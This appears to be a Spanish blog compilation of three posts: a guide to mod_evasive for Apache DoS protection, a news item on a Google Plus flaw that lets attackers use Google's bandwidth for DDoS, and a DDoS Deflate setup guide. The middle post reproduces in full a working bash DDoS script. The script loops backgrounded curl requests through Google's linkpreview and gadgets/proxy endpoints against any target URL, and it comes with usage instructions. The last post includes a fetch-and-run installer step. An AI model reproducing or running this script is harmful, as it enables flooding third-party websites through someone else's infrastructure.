Evitar ataques DoS a apache con mod_evasive

El ataque DoS (Denegación de Servicio / Denial of Service) o DDoS (Distributed Denial of Service, denegación de servicio distribuida), es un ataque a un sistema de servidores o red que causa que un servicio o recurso sea inaccesible a usuarios legítimos. El flujo masivo de peticiones (a través del protocolo TCP/IP) al servidor y los ataques de fuerza bruta provocan el colapso de la red, o la saturación del servidor en cuestión.

En esta entrada vamos a tratar de paliar los ataques DoS centrados en el servicio Apache, que consiste básicamente en lanzar peticiones al servidor web de forma masiva hasta colapsar el mismo. Gracias al módulo de apache mod_evasive conseguiremos redirigir el tráfico de esta peticiones ilegítimas hacia un error 403 (prohibido).

La última versión estable de mod_evasive puede descargarse en este enlace.
Compilación:

cd /root/descargas
wget http://www.zdziarski.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz
tar -zxf mod_evasive_1.10.1.tar.gz
cd mod_evasive

Si usamos apache1, deberemos compilar su módulo correspondiente (adecuad la siguiente línea a vuestra ruta de apache):

/usr/local/apache/bin/apxs -cia mod_evasive.c

Si usamos apache2, deberemos compilar su módulo correspondiente:

/usr/local/apache/bin/apxs -cia mod_evasive20.c

Veremos que tras la compilación, automáticamente ya carga el módulo en nuestro httpd.conf:

LoadModule evasive_module libexec/mod_evasive.so

Configuración:

El fichero de configuración (muestro los valores por defecto) lo cargaremos en un fichero aparte y lo llamaremos desde el httpd.conf (podéis cargar las opciones directamente en el httpd.conf, yo lo pongo separado para una mejor estructuración) :

Include «/usr/local/apache/conf/mod_evasive.conf»

Y el fichero que incluye las configuraciones del módulo:

DOSHashTableSize 3097
DOSPageCount 2
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod 10
DOSEmailNotify correo@dominio.com
DosWhitelist 98.54.48.14 # Ip ficticia

Vamos a explicar un poco lo que es cada opción:

Podemos ver lo que es cada cosa en:

DOSHashTableSize

Cuanto más grande sea el tamaño de la tabla de Hash, más memoria requerirá, pero el rastreo de Ips será más rápido. Es útil aumentar su tamaño si nuestro servidor recibe una gran cantidad de peticiones, pero así mismo la memoria del servidor deberá ser también mayor.

DOSPageCount

Número de peticiones a una misma página para que una IP sea añadida a la lista de bloqueo, dentro del intervalo de bloqueo en segundos especificado en el parámetro DOSPageInterval

DOSSiteCount

Igual que ‘DOSPageCount’, pero corresponde al número de peticiones al sitio en general, usa el intervalo de segundos especificado en ‘DOSSiteInterval’.

DOSPageInterval
Intervalo en segundos para el parámetro umbral de DOSPageCount.

DOSSiteInterval
Intervalo en segundos para el parámetro umbral DOSSiteCount.

DOSBlockingPeriod
Periodo de bloqueo para una IP si se supera alguno de los umbrales anteriores.El usuario recibirá un error403 (Forbidden) cuando sea bloqueado, si el atacante lo sigue intentando, este contador se reseteará automáticamente, haciendo que siga más tiempo bloqueada la IP.

DOSEmailNotify
Dirección de correo electrónico que recibirá información sobre los ataques.

DosWhitelist
Podemos especificar una IP o rango que será excluido del rastreo por mod_evasive.

Si alguna de estas opciones no os han quedado claras, indicadmelo y trataré de explicarlo de otra forma. Es fácil comprenderlo en inglés, pero su traducción se hace complicada.

Finalmente reiniciamos apache y ejecutamos el script en perl de testeo (test.pl) que viene incluido en el .tar.gz . Si todo ha ido bien, veremos que al cabo de unas cuantas peticiones, bloqueará el acceso al servicio web:

HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 200 OK
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden

HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden

Con esto ya tendríamos un protector de ataques DDoS a apache funcionando. No obstante, os puede ser de utilidad el siguiente comando, que nos indicará el nº de peticiones al puerto 80 por cada IP en el momento que lo ejecutemos:

netstat -plan|grep :80 | awk {‘print $5’}|cut -d: -f 1|sort|uniq -c|sort -n

Si solo queremos ver las establecidas:

netstat -plan|grep :80 | grep ESTABLISHED | awk {‘print $5’}|cut -d: -f 1|sort|uniq -c|sort -n

Esto es muy útil, pues a partir de dichos comandos, podemos averiguar rápidamente si una o varias IPs están haciendo un exceso de peticiones al servicio apache (fuerza bruta), y directamente filtrar la IP que queramos en nuestro firewall, por ejemplo en APF:

/usr/local/sbin/apf -d

De este modo, junto a la instalación de APF y BFD, nuestro servidor será menos vulnerable a ataques.

Fallo de seguridad en los servidores de Google Plus

Google Plus

Google Plus

Un nuevo agujero de seguridad ha sido descubierto en los servidores de Google plus que permite a los hackers hacer un ataque DDoS usando el ancho de banda de Google.

Google plus ha sido objeto de pruebas desde ya hace un tiempo y una de las personas encargadas de estas pruebas (de una empresa de seguridad italiana) ha informado de que los servidores de Google plus se pueden utilizar para hacer solicitudes DDos a otros sitios web.

La noticia original de este informe se puede ver en IHTeam un blog de seguridad propiedad de Simone Quatrini. Él demuestra cómo los usuarios pueden hacer uso del servidor de Google para actuar como un proxy y buscar el contenido de cualquier sitio web que desee. También se observa que los servidores de Google son más anónimos que los demás servidores.

Ha mencionado dos métodos, uno que utiliza / _ / sharebox / linkpreview /. Este método no expone su dirección IP para conectarse a los servidores Apache. Pero el otro método, gadgets / proxy? Parece que si que se expone la dirección IP a los servidores.

El equipo también ha publicado un script para shell de linux que permite ejecutar la vulnerabilidad. El script hace una solicitud a los servidores de Google para hacer una petición a una página web. Lo importante del tema es que se utiliza el ancho de banda de Google en lugar del atancante.

Según comenta el autor, hayo otros métodos para atacar de manera más segura, pero lógicamente no los quiere exponer en la red.

Resumiendo, se puede hacer y descargar senzilla y rápidamente cualquier tipo de archivo a través de los servidores de Google haciendo un DDoS.

Mas abajo teneis el video explicativo y el script en bash que usa en el video Simone Quatrini 😀

Fuente | IHTeam

In this example i start a thread of 1000 requests and the output bandwidth will result in 91/96Mbps (my house bandwidth is only 6Mbps). This is my server, do not start to ddos around for no reason!

+DDoS source code download:

http://www.ihteam.net/advisories/_154785695367_+ddos.sh

#!/bin/bash

#   Bug found by                        #
#       Simone 'R00T_ATI' Quatrini      #
#       Mauro 'epicfail' Gasperini      #
#       Site: http://www.ihteam.net     #

function start {
    echo "[*] Sending `echo $2` Requests..."

    for a in `seq $2`
    do
        id=$((RANDOM%3999999+3000000))
        nohup curl "https://plus.google.com/_/sharebox/linkpreview/?c=$url&t=1&_reqid=$id&rt=j" -k -A "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0" > /dev/null 2>&1 &
        nohup curl "https://images2-focus-opensocial.googleusercontent.com/gadgets/proxy?url=$urlclear&container=focus" -k -A "Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0" > /dev/null 2>&1 &
    done

    echo "[*] Still attacking `echo $urlclear`"
    echo "[*] Sleeping for 10 Seconds"
    sleep 10
    start url $2 urlclear
}

echo ''
echo '             88888888ba,    88888888ba,                  ad88888ba  '
echo '    aa      88      `"8b   88      `"8b                d8"     "8b  '
echo '    88      88        `8b  88        `8b               Y8,          '
echo 'aaaa88aaaa  88         88  88         88   ,adPPYba,   `Y8aaaaa,    '
echo '""""88""""  88         88  88         88  a8"     "8a    `"""""8b,  '
echo '    88      88         8P  88         8P  8b       d8          `8b  '
echo '    ""      88      .a8P   88      .a8P   "8a,   ,a8"  Y8a     a8P  '
echo '            88888888Y""    88888888Y""     `"YbbdP""    "Y88888P"'
echo ''

if [ "$#" -lt 2 ]; then
    echo "Usage: $0 <big file> <Requests>"
    echo "Example: $0 http://www.site.com/very_big_file.tar.gz 1000"
    echo ""

    exit 0
fi

case $2 in
    *[!0-9]* )  echo "$2 is not numeric" && exit 1;;
esac

echo "Attack -->" $1
match1=/
repl1=%2F
match2=:
repl2=%3A
url=$1
urlclear=$1

url=${url//$match1/$repl1}
url=${url//$match2/$repl2}

echo ""
echo "[*] Loop started! CTRL+C to stop"
echo ""

start url $2 urlclear

Instalando DDoS Deflate para evadir ataques DoS

Medialayer sufria ataques de denegación de servicio. Para atajar ese problema, uno de los chicos de Medialayer pensó en crear una solución Open Source para mitigar estos ataques. Ese día nació DDoS Deflate, un script en Bash bastante efectivo para mitigar ataques de denegación de servicio.

Instalando DDoS Deflate

DDoS Deflate requiere que APF 0.96 este instalado si queremos usar que las IP´s sean baneadas a traves de APF.
La instalación de APF va mas allá del objetivo de esta guia.

wget http://www.inetbase.com/scripts/ddos/install.sh
chmod 0700 install.sh
./install.sh

Configurando DDoS Deflate

Abrimos el fichero ddos.conf localizado en /usr/local/ddos

Editamos las rutas para que encajen con la estructura de nuestro sistema:

PROGDIR=”/usr/local/ddos”
PROG=”/usr/local/ddos/ddos.sh”
IGNORE_IP_LIST=”/usr/local/ddos/ignore.ip.list”
CRON=”/etc/cron.d/ddos.cron”
APF=”/etc/apf/apf”
IPT=”/sbin/iptables”

Posteriormente, tendremos que adecuar las opciones restantes según la naturaleza de la situación en la que estemos inmersos:

FREQ=1
# Frecuencia en minutos en la que el script sera ejecutado

NO_OF_CONNECTIONS=150
# Número de conexiones para proceder a banear una supuesta IP atacante

APF_BAN=1
# 1 indica que DDoS Deflate usara APF para banear, 0 llama directamente a Iptables

* Es necesario APF 0.96 como minimo si queremos activar el baneo por APF

BAN_PERIOD=600

# Tiempo durante el cual el atacante estará baneado. En segundos

EMAIL_TO=”root”

# Dirección a la cual se enviara un correo cuando alguien sea baneado

KILL=1

# Con la opción en 0, los atacantes no seran baneados. 1 esta activo por defecto